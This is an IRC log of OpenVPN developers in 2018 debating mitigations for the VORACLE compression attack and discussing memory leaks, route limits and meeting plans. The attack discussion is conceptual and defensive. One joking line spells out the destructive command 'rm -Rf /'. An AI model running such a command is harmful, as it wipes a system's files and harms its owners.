<@vpnHelper> Title: DeprecatedOptions (diff) – OpenVPN Community (at community.openvpn.net) 07:39 <@dazo> We've even slated the removal of several ciphers in 2.6 07:40 <@dazo> CRIME and BEAST where nasty to HTTPS due to compression, which mandated changes there ... VORACLE hits OpenVPN equally bad 08:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:48 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:47 <@dazo> tincantech: thx a lot! ... (sorry, took time for me to grok why you posted that URL ...) 10:55 < tincantech> dazo: np .. you can always just ask me ;-) 11:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 12:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:32 <@cron2> dazo: again, you confuse "this is an unversal tool with a wide variance of use cases" with "it needs to be dumbed down so users will not be able to do stupid things" 14:32 <@cron2> universal 14:33 <@cron2> so, by all means, remove everything from the android and ios client and from openvpn 3, but do not take away useful "non-websurfing-user" functionality from 2.x 14:34 <@cron2> for a "I link two corporate sites over a very expensive WAN link, and only internal communication is passed", voracle is totally non-interesting 15:37 < tincantech> ecrist: it's all done but that "create pull request" button looks mighty ominous *gulp* 15:38 * tincantech has got to push the button ! 15:39 < tincantech> it's a psychological mine-field ! 15:41 < tincantech> live fast 15:41 * tincantech pushes the button 15:42 < tincantech> PR:220 nice :) 15:44 < tincantech> lol .. all check have failed .. wtf 15:46 < tincantech> looks like travis-ci crapped out 15:58 * tincantech enables some extra protection to stop some drunk idiot from delting that branch 15:59 < tincantech> good job too with spelling like that :D 16:08 < tincantech> ecrist: also tested on W10 w/ libressl 266 16:08 < tincantech> s55 16:09 < tincantech> libressl 2.5.5 16:25 * ecrist fights with travis-ci 16:56 * tincantech bets a monkey on ecrist to win :) 17:02 <@ecrist> I gave up 17:02 <@ecrist> your PR has been merged with master 17:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 17:18 < tincantech> cool 17:19 <@ecrist> I'll be doing some additional work - anything else you want to work on soonish would be great 17:19 <@ecrist> It'd be nice to fix up some bugs in 3.0.5 and publish it and 3.1 at the same time. 17:19 * ecrist poofs for dinner 17:39 < tincantech> ecrist: #221 19:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 19:18 < tincantech> ecrist: #222 ;-) 20:47 -!- Netsplit *.net <-> *.split quits: @vpnHelper 20:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 21:02 < tincantech> ecrist: "catch 222" 21:28 -!- Netsplit *.net <-> *.split quits: @syzzer 21:30 -!- Netsplit over, joins: @syzzer 21:32 -!- Netsplit *.net <-> *.split quits: +krzee 21:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 22:06 -!- Netsplit *.net <-> *.split quits: @cron2 22:06 -!- Netsplit over, joins: @cron2 22:06 -!- ServerMode/#openvpn-devel [+oo cron2 ordex] by cherryh.freenode.net --- Day changed Fri Aug 24 2018 02:45 <@syzzer> cron2: I don't think voracle is totally non-interesting in that scenario. but maybe we should just put this on the agenda for Lviv? Face-to-face-with-a-whiteboard communicates a lot easier :) 03:47 <@plaisthos> cron2: My current idea is to add something like compression async or compression full 03:48 <@plaisthos> where you can specify how you want to compress 03:48 <@plaisthos> and if both are missing you get a warning about switching to sync mode and a pointer to manpage for more details 04:03 <@ordex> let's just not forget about clueless people: for them it should just work without fiddling much with the details 04:04 <@plaisthos> ordex: yeah, that is why I warn against compression if we see compression 04:04 <@plaisthos> existing config will continue work but using aysnc compression 04:04 <@plaisthos> and people who really want to use compression have to add a line to their configs 04:22 <@ordex> not sure async is any better than full compression? voracle will still work on downstream data, no? 04:22 <@ordex> but yeah, slightly less impact on data at least 04:43 <@plaisthos> ordex: yeah, but if both client and server are updated and both are async there is no compression anymore 04:44 <@plaisthos> I would like to avoid to add logic to openvpn to figure out a complex "what is the best option we can push to the client to disable compression" 05:19 <@plaisthos> I am writing an email to openvpn-devel to get a discussion started. 05:55 <@ordex> oky 05:55 <@ordex> goed :) 08:01 <@plaisthos> cron2: I think we just have different hats on for the discussion 08:02 <@plaisthos> I am wearing more the "Compression is always bad with encyption" crypto guy hat and you seem to wear, "I don't care about theoretical attacks, I want this to be compressed now" hat 09:44 <@ordex> cron2: btw, in your LAN-to-LAN setup the provider can still sniff and attack your traffic with VORACLE, no? not sure why trusting the endpoints would put you in a safe position 10:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:14 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:59 < kitsune1> I fail to see what's the big deal: --compress its not on by default (misinformation notwithstanding) and the man page clearly warns about its security implications and advices not to use it. So why change anything? VPN operators and server admins can easily stop using compression by pushing "comp-lzo no" or "compress stub". No? 12:14 < gcoxmoz> <- vpn admin at a company. When secops comes back from blackhat all atizzy about voracle and wants compression off, I can certainly make sure I'm pushing 'no' to people. But I can't -guarantee- it's disabled. (say, someone's not using it if their client ignores the push). 12:14 < gcoxmoz> Disabling it completely is a watershed moment, because to completely disable it means new configs to all the company, since the over-the-wire protocols are different between 'can not possibly compress ever' vs 'we have that byte in place but nothing is happening don't worry'. 12:14 < gcoxmoz> I would love to be able to flip compression completely off without having to push a world of new configs to all my clients, but that's not really possible. I'm watershedding my company next week, making everyone go to a new config that won't allow compression ever, and I'm having night sweats of "but what if I'm wrong." 12:17 < tincantech> it would probably make some sense to disable compression in windows releases 12:17 < tincantech> and android & ipad 12:21 < tincantech> maybe not .. if that breaks wire proto .. 12:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:22 < tincantech> Nafeez explained that work was being done by web-standards bodies to adjust compression algorithms so that VORACLE attacks would no longer be possible. 13:22 < tincantech> https://www.tomsguide.com/us/vpn-voracle-attack-defcon26,news-27784.html 16:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 18:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 19:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 19:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 19:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] --- Day changed Sat Aug 25 2018 07:14 <@cron2> https://research.checkpoint.com/sending-fax-back-to-the-dark-ages/ 07:14 <@cron2> fun 07:14 <@cron2> plaisthos: yes. 07:15 <@cron2> ordex: voracle requires inside cooperation, as in, you need to have a client that sends known plaintext and varies this, so when you see size-after-compression vary all of a sudden, you know you have found text that is repeated close by (= compresses better) 07:16 <@cron2> and you need to have user-controlled context very close to something that interests you, like "I can set a HTTP header and I'm interested in stealing your cookies" 07:17 <@cron2> so, yes, it's an attack, it works, but it is totally irrelevant if you use https, if you do not visit web pages that put malicious javascript into your browser or you have no cookies worth stealing (because you only surf internal web sites) 07:19 <@cron2> for our corporate use cases, this is highly and totally uninteresting 07:19 <@cron2> (even for the "I am a sales guy and access intra.$corp.net via web browser") 07:20 <@cron2> coxmoz: to a 2.4 client, you should be able to push "compress" with no arguments, which turns off compression 07:21 <@cron2> (according to the man page) 07:21 <@cron2> as this is server-controlled, no "watershed" moment with "roll out new configs everywhere", just change the server-pushed options 07:25 <@cron2> gcoxmoz: see above, miscopied your nickname :) *highlight* 09:10 < gcoxmoz> Well, "too late now" since my new config launched, no compression. :) 09:12 < gcoxmoz> The man page suggests --pull-filter ignore "compress" is viable, so a willful client (and with a bunch of engineers, this is possibly nonzero if they start thinking they know better) could bring compression back into play for their session. 09:15 < gcoxmoz> I get that the attack surfaces are... not heartbleed-levels-of-obvious. At least in this attack. The big push I got was that, to COMPLETELY eliminate compression and be guaranteed it's gone, is pretty much the 'no mention of compress' path + watershed. Totally agree with your case of lashing things down by pushing 'compress' covering pretty much every other situation. 09:16 < gcoxmoz> Security folk can get pretty dogmatic, sometimes. 09:21 < gcoxmoz> peer review, a one-act play: "why does this config say 'compress'?" / "It means not compress, because it has no argument" *manpage* / *reads* "This says it can become enabled." / "Yes but we tell them not to." / *ponders* "eeeehhhhhh." *fin* 09:30 < gcoxmoz> Anyway. I get that, for now, I'm an edge case corp sysadmin and not necessarily indicative of the general community. I just wanted to mention my experience here, as it seems like there's some early talk about pulling compression maybe-someday. That header byte is in SO MANY vendor configs, feels like it'll continue being there for a while, and I feel that I am pretty much the oddball for NOT having it,. 10:13 < tincantech> gcoxmoz: if your server does has compression disabled then your client connot connect with compression enabled ot comp-lzo .. they must match on each end .. 10:23 < peedabee> I'm building an openvpn management frontend to manage users and connections to integrate into another project. I am developing in python/django and was thinking about putting the certificate database in postgresql, but I'm struggling with security. 10:24 < peedabee> I would like a user to have the ability to (re)create certificates. That means I have to have my ca.key available in plain text to my understanding. 10:25 < peedabee> Any thoughts ? --- Day changed Sun Aug 26 2018 17:31 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 20:08 <@ordex> should we have a meeting this wednesday? 20:51 < tincantech> ordex: hey :) 20:51 < tincantech> what's for breakfast ? 20:52 <@ordex> coffee :) 20:53 < tincantech> lol 20:53 < tincantech> no donut ? 20:55 < tincantech> maybe a steamed pork bun is more accurate ? 20:55 < tincantech> noddles ? 20:57 <@ordex> :P 20:57 < tincantech> crispy caterpillars ? 20:57 <@ordex> nope 20:57 <@ordex> :D 20:57 < tincantech> :D 20:57 < tincantech> what about that voraxle then ? 21:00 < tincantech> so .. 21:00 < tincantech> i agree with dazo but i vote for cron2 22:42 <@ordex> lol --- Day changed Mon Aug 27 2018 03:25 <@dazo> peedabee: have a log at http://www.dogtagpki.org/wiki/PKI_Main_Page ... instead of rolling your own managed CA/PKI solution, it might be better to build on others work - especially for something so critical as PKI ... Dogtag is used by FreeIPA, which is establishing itself as the "AD for Linux" 03:25 < peedabee> dazo, thnx! I will check it out 03:28 <@dazo> gcoxmoz: we cannot easily modify the wire protocol (like ripping out the compression framing feature, which --comp-lzo no/--compress "" enables) ... but we can disable compressing data on the local side when *sending* packets out, and tagging in the compression frame as uncompressed. And then parse whatever the remote end sends, including decompressing if the remote end makes use of compressions ... so when both sides upgrades, 03:28 <@dazo> compression is effectively disabled ... that is the solution plaisthos, syzzer and I would like to see happen 03:29 <@dazo> as this solution will be 100% backwards compatible with existing configurations 05:50 < tincantech> as you have adaptive compression .. how about "intelligent" compression which detects http headers and turns itself off 05:51 <@plaisthos> tincantech: just no 05:51 <@plaisthos> this attack is not http specific 05:51 <@plaisthos> just poc was http 05:51 <@plaisthos> just think of ldap 05:52 <@plaisthos> or any other auth/accouting protocol like radius 05:52 <@plaisthos> by trying using "random" username you have the same kind of attack 06:01 < tincantech> ok .. 06:01 < tincantech> so how about "dummy" compression .. just turn it off everywhere no matter what the config says .. 06:02 < tincantech> i know that is what cron2 hates 06:02 < tincantech> it seems to me there are only a finite number of solutions .. if you are going to change something drasyic 06:06 <@plaisthos> that is the aysnc approach 06:06 <@plaisthos> without breaking compatibility 06:06 < tincantech> sort of 06:25 < tincantech> plaisthos: the "asym" approach .. would it work like this example: 06:26 < tincantech> server = old router / old openvpn / lazy user will never upgrade until the router dies 06:27 < tincantech> client = windows (same user but is confident to upgrade windows) 06:27 < tincantech> then the client does the asymmetry while the server does not 06:28 < tincantech> i mean "could" it also work like that ? 06:30 <@plaisthos> yes 06:31 <@plaisthos> asym means that OpenVPN can still receive compressed pckets but will not send them 07:24 < tincantech> then that appears to be the most inclusive solution 07:28 < tincantech> if in fact that is enough to mitigate voracle 15:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 19:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Tue Aug 28 2018 11:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:32 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:00 -!- kontaxis_ is now known as kontaxis 18:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 20:19 -!- Netsplit *.net <-> *.split quits: @dazo 20:21 -!- Guest26756 [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 20:21 -!- mode/#openvpn-devel [+o Guest26756] by ChanServ 21:42 -!- Netsplit *.net <-> *.split quits: @plaisthos --- Day changed Wed Aug 29 2018 02:41 <@syzzer> just read up on the backlog - I could make a meeting today, but I guess there won't be one? 03:45 -!- Guest26756 is now known as dazo 04:12 <@syzzer> ordex: how's the tls-crypt-v2 review coming along? :) 04:14 <@syzzer> I updated my local branch to use the new length encoding, but am waiting with sending out new patches until I got some more review comments to process 07:13 * cron2 missed the meeting we didn't have :) 07:13 <@cron2> ordex: block-ipv6 v4? how's your review appetite coming along? 07:45 <@cron2> (and someone could comment my --dev tap --topology subnet patch...) 07:46 <@cron2> syzzer: when is the warning in your latest patch showing up? Since it should be printed "always", why have we not seen it yet? 07:47 <@cron2> (= where did I not look close enough for mbedtls builds) 07:54 <@ordex> syzzer: cron2: sorry, got sucked up in some personal things in the last 2 weeks, so I had time only for higher prio work :( but it should get better starting hopefully the day after tomorrow 08:08 <@syzzer> cron2: on startup, it would always print this warning since feb 2018 08:08 <@syzzer> for mbedtls builds, that is 08:12 <@syzzer> ordex: tricky stuff, personal lives... no apology needed. was just poking for a status update :) 08:27 <@ordex> np :) 09:23 <@ordex> syzzer: re: 09:23 <@ordex> ops 09:24 <@ordex> syzzer: re: "[PATCH] Fix memory leak after sighup" I had seen this too!! :D but did not have time to fix it. I think you can easily trigger that if upon SIGUSR1 handling (i.e. reconnection) you shutdown openvpn with ctrl+c 09:24 <@ordex> if this is not the case, then I have seen something else :-P 09:43 <@syzzer> ordex: (if using a binary built with -fsanitize=address) just ctrl-c after sending a sighup and it will yell about the leak :) 09:43 <@syzzer> sounds similar to what you're describing 09:43 <@ordex> yes, that! 09:44 * syzzer wonders how many memory leaks we have hidden inside gc_arena structs... 09:46 <@ordex> well, there might be several like this, but if they all happen upon shutdown...it is not a real problem 09:49 <@syzzer> ordex: this leaks for every sighup, so would still be an issue if some setup had many sighups 09:49 <@syzzer> (which is unlikely, but still) 09:50 <@ordex> hmm are you sure? I thought that if you let the sighup be handled and then everything properly restarts, the next shutdown would not have any leak 09:50 <@ordex> because during its cycle the gc_arena would be freed and reallocated (not sure 100%) 09:51 <@syzzer> no, this one leaks for each cycle 09:51 <@syzzer> it's not leaked to a gc 09:52 <@ordex> oh ok 09:52 <@syzzer> openvpn.c:197 allocated without gc for each sighup loop 09:52 <@ordex> I see 10:01 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:01 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:01 <@plaisthos> cron2: Our German Telekom seem to follow suit what its American sister is already doing (https://www.heise.de/newsticker/meldung/IPv4-Daemmerung-Telekom-testet-IPv6-only-Kommunikation-im-Mobilfunk-4150047.html) 10:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:48 <@ordex> well, if you type rm -Rf / on some distros they *do* ask you if you really want to do so :D 10:48 <@ordex> re: JJK 10:53 < tincantech> ordex: do said distros also have a flag to over-ride the question and do it anyway ? ;) 10:54 <@ordex> yeah, they just ask, it's not a block - afair 10:55 < tincantech> i mean like rm -rf --no-warn 10:55 < tincantech> anyway 10:55 <@ordex> no clue 10:55 <@ordex> :P 10:55 <@ordex> but you can try ! 10:55 <@ordex> :d 10:55 < tincantech> which distro ? 10:57 <@ordex> maybe bubuntu ? 10:57 < tincantech> lol .. yeah ima gonna build 10 new VMs to find one that does ;) 10:59 <@ordex> hehe 10:59 < tincantech> plaisthos: just curious what good is pull filter for https://github.com/schwabe/ics-openvpn/issues/930 10:59 < tincantech> that thread seems very mis-informed .. 11:00 < tincantech> 1. you cannot disable --float in a standard setup (even with pfsense) 11:00 * dazo turns on over-engineering mode 11:00 < tincantech> 2. (probably more important) what is he trying to do with his dns ? 11:01 <@dazo> ordex: syzzer: If functions using gc could be declared in a special way ... couldn't we hook on a "function exit call" which would release the gc_arena? 11:02 * dazo reduces the over-engineering ratio setting 11:07 < tincantech> with "over engineering" in mind .. I have a Q. about --ipchange .. ipchange *only* runs if the remote ip changes right ? 11:09 < tincantech> the manual appears to be wrong 11:12 <@syzzer> dazo: in that case we should just use stack variables I guess 11:13 <@syzzer> the gc works well for the case where we have a storage duration related to a context or something like that 11:13 <@syzzer> if the storage duration is the function scope, why not use the stack? 11:14 <@ordex> syzzer: code simplicity I think: just free the gc and we are good. Plus: no need to care about deallocation when adding new vars 11:14 <@ordex> I think some function do that 11:14 <@ordex> *functions 11:16 <@dazo> syzzer: oh, true ... well, I was actually thinking about (and didn't mention) reference counting as well 11:17 <@dazo> but .... I've not been thinking this thoroughly 11:18 <@dazo> but yeah, for variables just living inside a single function and not being passed outside that function belongs on the stack, indeed 11:20 <@ordex> (but I also agree variables on the stack are better :P) 12:01 <@plaisthos> tincantech: I don't care enough what he is doing. So let me him break his setup if he wants to... 12:01 <@plaisthos> dazo: we already have that, I needed it for freeaddrinfo 12:02 <@plaisthos> if that was the question 12:13 < tincantech> plaisthos: ok thanks :) i might chime in 12:31 <@plaisthos> but to answer your question oepnvpn does a reconnect on interface change if peer-id is not present as option 13:45 < tincantech> now all i have to do is trigger a float ;) 14:27 <@cron2> ordex, syzzer: wrt "local allocations on the stack" - there's alloca() but that seems to be fallen out of grace 14:48 < tincantech> is it a good time to start scaring people about compression on the forum yet ? when their server is using+pushing it .. 17:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 18:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 19:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Thu Aug 30 2018 02:07 <@syzzer> tincantech: quoting the man page text should be fine. Don't scare people to death - that is probably not warranted - but by all means point them at the risks. 10:32 <@dazo> w00t!?! The Project Atomic "Getting started" guide, which includes kubernetes pulls in Easy-RSA 3.x .... https://www.projectatomic.io/docs/gettingstarted/ 10:32 <@dazo> ecrist: ^^ 10:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:02 <@plaisthos> I just found a bug in compress 14:02 <@plaisthos> it never sets COMP_F_ADAPTIVE 14:02 <@plaisthos> so it compresses *always* even if it is not useful 14:03 <@plaisthos> to get adaptive lz4 you have to do 14:03 <@plaisthos> comp lzo 14:03 <@plaisthos> compress lz4 14:03 <@plaisthos> %) 14:03 <@plaisthos> or rather comp-lzo adaptive and the compress lz4 14:04 <@plaisthos> but I don't think we shold fix compress anymore 14:46 < tincantech> plaisthos: you mean "not fix any compress anymore" = get rid of it ? 14:47 < tincantech> no more asym version ? 15:42 <@cron2> why do we have a COMP_F_ADAPTIVE flag in the first place? 15:43 <@cron2> shouldn't that be the normal default, only compress if useful (if at all)... 16:08 <@plaisthos> cron2: I thought so too 16:12 <@plaisthos> actually we do 16:14 <@plaisthos> lzo adaptive is some strange mode that skips compression altogether we are not able to compress very well in the past 19:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 20:15 < tincantech> to "comp" or not to "comp" ? .. that is the question 20:18 < tincantech> alas poor "comp", I knew him well 20:19 < tincantech> unless, of course, asymmetric "comp" can restore such former glory .. 20:20 < tincantech> alas .. i fear not 20:24 < tincantech> if i am mistaken then the solution is bkindingly obvious 20:27 < tincantech> that "bk" can stand 20:30 < tincantech> eg: --client: --tls-client, --pull, --comp* never --- Day changed Fri Aug 31 2018 08:57 < tincantech> i mean eg: --client: --tls-client, --pull, --comp* receive-only 11:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:13 <@ecrist> dazo: cool 18:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Sat Sep 01 2018 09:16 <@ordex> burp 09:20 <@ordex> syzzer: seen this: https://forums.openvpn.net/viewtopic.php?f=12&t=26928 ? 10:13 < tincantech> ordex: see the crytodev line in the log? there is another post by same user with what looks like the actual configs for this problem here : https://forums.openvpn.net/viewtopic.php?f=4&t=24268&p=70809#p70809 10:16 < tincantech> looks like pfSense is involved as well 10:19 <@ordex> ah 10:20 <@ordex> anybody has figured this out yet? 10:20 <@ordex> what is making this fail? 10:26 < tincantech> I have asked the OP for some more details 10:34 <@ordex> ok 11:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] --- Day changed Sun Sep 02 2018 19:44 < tincantech> ordex: you around ? old boy 19:45 < tincantech> has this encryption + compression caused a rift ? 19:47 < tincantech> or is it just me .. --- Day changed Mon Sep 03 2018 00:37 <@ordex> tincantech: rift? of what kind? 03:47 <@cron2> so, buildbot, throw your errors at me... 03:50 <@ordex> I haven't got any email from buildbot recently 03:54 <@cron2> I haven't pushed anything in 3 weeks :-) 03:54 <@ordex> ah ok :) 03:54 <@ordex> you were just praying at buildbot's god 03:54 <@ordex> :D 03:54 <@cron2> the merge+test+cherrypick+push thing works more nicely if I have lots of screen real estate around 03:55 <@cron2> so, back home, and merging the easy bits 04:16 <@cron2> where is vpnhelper...? 04:17 <@ordex> gone :( 04:30 <@cron2> ecrist: *poke* 09:57 <@syzzer> ordex: ho, hadn't seen that 09:57 <@syzzer> and 'cryptodev' is the only thing I could attribute it to 09:57 <@ordex> syzzer: tincantech says it is about pfsense and some crypto engine 09:57 <@syzzer> that should *really* not fail 09:57 <@ordex> yeah 09:57 <@syzzer> you cryptodev is a way to use hardware-accellerated crypto engines 09:58 <@syzzer> usually exposed via /dev/crypto 09:58 <@syzzer> that's needed if you have e.g. a crypto co-processor that can not be accessed directly by unprivileged users 09:59 <@syzzer> (instead of the much more elegant Intel trick of adding crypto instructions) 09:59 <@syzzer> and then there are the briliant people that make an AES-NI cryptodev driver :') 10:00 <@syzzer> /rant 10:03 <@ordex> lol 10:25 <@cron2> syzzer: well said :) 10:25 <@plaisthos> cron2: new monitor? 10:25 <@cron2> plaisthos: well, yes, but the old setup was already "larger than the laptop" 10:26 <@plaisthos> :) 10:26 <@cron2> bought two used 1600x1200 LG L2000C - useful aspect ratio, slightly higher DPI than "standard" 10:27 * plaisthos has only one monitor 10:27 <@ordex> picture picture !! 10:27 <@cron2> I like having "many xterms" on one screen (with virtual desktop tabbing) and "the web browser" on the other screen (independent virtual screens) 10:30 <@plaisthos> ordex: I need to clean up my desk anyway :~) 10:42 < tincantech> never enough space on screen ;) 10:43 < tincantech> ordex: syzzer thanks for feedback re cryptodev 10:48 < tincantech> can you imagine the world without mobile phones and flat screens .. not so long ago 10:55 <@plaisthos> ordex: here you go: https://imgur.com/a/NQGQL9A 11:10 <@ordex> the chat is clearly too big 11:10 <@ordex> :P 11:12 <@cron2> I like that :-) 11:14 <@ordex> plaisthos: so you got a big monitor so you can have a big bird? feels like you don't really use all that space :D 11:35 <@plaisthos> ordex: fun fact that bird is like 4-5cm tall 11:41 <@plaisthos> ordex: my normal desktop environemtn is littered with shell and other windows but I was too lazy to clean that up so I made a second screen and put just one term for scale on it ;) 11:42 <@ordex> hehe 11:42 <@ordex> okok :) 11:55 < tincantech> if anybody is interested, there is a post where pushing 250 routes works but pushing 4000 routes does not but I cannot see what is going wrong 11:55 < tincantech> https://forums.openvpn.net/viewtopic.php?f=6&t=27011#p81037 11:56 < tincantech> i think it is on a mac 11:56 < tincantech> Mac OS X ifconfig failed: could not execute external program 11:56 < tincantech> but it works for less routes 12:26 < tincantech> oh well .. i thought maybe someone would be interested .. but nvm 13:06 <@ordex> tincantech: I'd ask the guy to add the 4k routes manually and see if the problem is there 13:06 <@ordex> if not, it means we have some memory limit that we are hitting. if it does not then it's the routing table that can't cope with that many route 13:06 <@ordex> s 13:21 <@cron2> valdikss reported about using some 50k routes on Linux, IIRC, so openvpn should cope 13:21 <@cron2> (it was sloowwwww...) 13:21 < valdikss> It doesn't work anymore 13:22 < valdikss> And it doesn't work on Android with more than ≈150 routes. 13:22 < valdikss> I wrote my own DNS remapping server and now add mapping on the server side, the client side gets only one large subnet as one route. 13:23 < valdikss> tincantech: the problem is in stack size I believe. 13:23 < valdikss> uname -s 13:23 < valdikss> ulimit -s* 13:26 <@ordex> why stack size? 13:26 <@ordex> < valdikss> It doesn't work anymore <<< do you know when it stopped working and what kind of error it throws exactly? 13:26 <@cron2> and what is "doesn't work anymore" exactly? 13:27 < valdikss> >why stack size? 13:27 < valdikss> ordex: I can't remember for sure, but I think the problem was in a stack size. Could it be OpenVPN uses recursion to setup routes? 13:28 <@ordex> nope it does not 13:28 <@ordex> would be quite funny though :-D 13:28 < valdikss> cron2: Well, it doesn't work with stock stack size. With increased size it works, but very slow. You would probably get disconnected by the server by keep-alive before the routes got installed. 13:29 < valdikss> It takes more than 5 minutes. 13:30 <@ordex> i believe this is the host slowing down and taking a lot to add routes, not really openvpn related, I believe. but we'd probably need to see a log to make a more definitive statement 13:37 <@cron2> it would be interesting to see this with the netlink patches applied 13:39 < tincantech> I have a test setup with 64k routes .. but not tried it for a while, I'll have a stab at it soon 13:40 < tincantech> but the vpn does timeout if you use push "route etc" 13:41 < tincantech> are the netlink patches applied to master ? 13:41 <@cron2> no 13:41 < tincantech> ah .. I though not 13:41 < tincantech> thought* 13:41 <@cron2> it's one of the big things that are in the "everyone is waiting for someone else who has no time" limbo 13:46 < tincantech> FTR: my test setup does push "setenv-safe $route" and processes that outside of openvpn (can't remember if i use --up or something else right now) .. so not really much use to openvpn itself 13:47 <@ordex> cron2: I hope you're coming to the hackathon with lots of energy :] 13:47 * ordex is preparing stacks of energy drinks for everybody 13:47 <@ordex> :D 13:48 < tincantech> bring the cattle prod ;) 13:50 <@cron2> tincantech: setenv will excercise totally different code paths... 14:51 < tincantech> cron2: of course, i know that .. I was simply explaining my work around to a "not openvpn's fault" problem 14:52 < tincantech> and i don't need to push 64k routes .. it was just an exercise 14:54 < tincantech> maybe a stupid exercise .. but as you don't read the forum you probably don't realise just how badly the swiss army knife is sometimes tortured 14:58 < tincantech> you probably do realise but the brain has a way of filtering out such awful things ;) 19:37 * tincantech is segwent dazo 22:09 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Quit: Leaving] 22:10 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Tue Sep 04 2018 03:50 <@syzzer> cron2, ordex, dazo: meeting this week? 03:50 <@syzzer> (no mattock around :( _ 03:50 <@cron2> who rounded up mattock again? 03:50 <@cron2> I could make it 03:50 <@ordex> :D 03:50 <@ordex> I am fine with the meeting 03:51 <@syzzer> not sure what to discuss exactly, but feels like it's been a while and we should ramp up again now that we have reverted to "productive weather" 03:52 <@ordex> yes 03:52 <@ordex> agreed 03:52 <@ordex> we can also plan a bit what to do during the hackathon 03:52 <@ordex> and also revamp priorities about pending items ... several :( 03:52 <@cron2> most important question: who brings money for beer? 03:52 <@ordex> !!! 03:53 <@ordex> to Lviv? or to the meeting tomorrow? 03:53 <@ordex> :D 03:53 <@syzzer> ordex: how's your available time? I'd really like to see if we can put a deadline on tls-crypt-v2, and the hackathon feels like a suitable moment 03:53 <@cron2> ordex: to lviv - tomorrow is not beer time for me 03:53 <@ordex> syzzer: yes, I hope it to be done by then 03:54 <@ordex> I am underwater until this weekend, then I should be able to allocate more time on things 03:54 <@ordex> and get back to "relaxed and frenetic coding state" 03:54 <@ordex> :D 04:04 <@ordex> the customs allowance includes 2lt of wines 04:05 <@ordex> but I guess you prefer beer :] 04:06 <@syzzer> ordex: sounds good :) 04:07 <@syzzer> I'm again trying to allocate some food budget from the company, but haven't got approval yet. so let's see... 04:10 <@ordex> we can ping dazo to try to get something on our side too 07:20 < tincantech> ordex: syzzer a reply to that EVP_CipherUpdate() failed : https://forums.openvpn.net/viewtopic.php?f=12&t=26928#p81100 08:08 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:08 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:55 <@vpnHelper> RSS Update - tickets: #1101: OpenVPN ios/android 3.0.x AES-CBC support don't work <https://community.openvpn.net/openvpn/ticket/1101> 09:25 <@ecrist> cron2: vpnHelper is back 10:10 <@cron2> ecrist: thx 14:21 <@cron2> whee 14:22 <@cron2> local SIM card in ucraine from vodafone - 5 GB for 65 UAH, which my currency converter claims to be "around 2 EUR" 14:22 * cron2 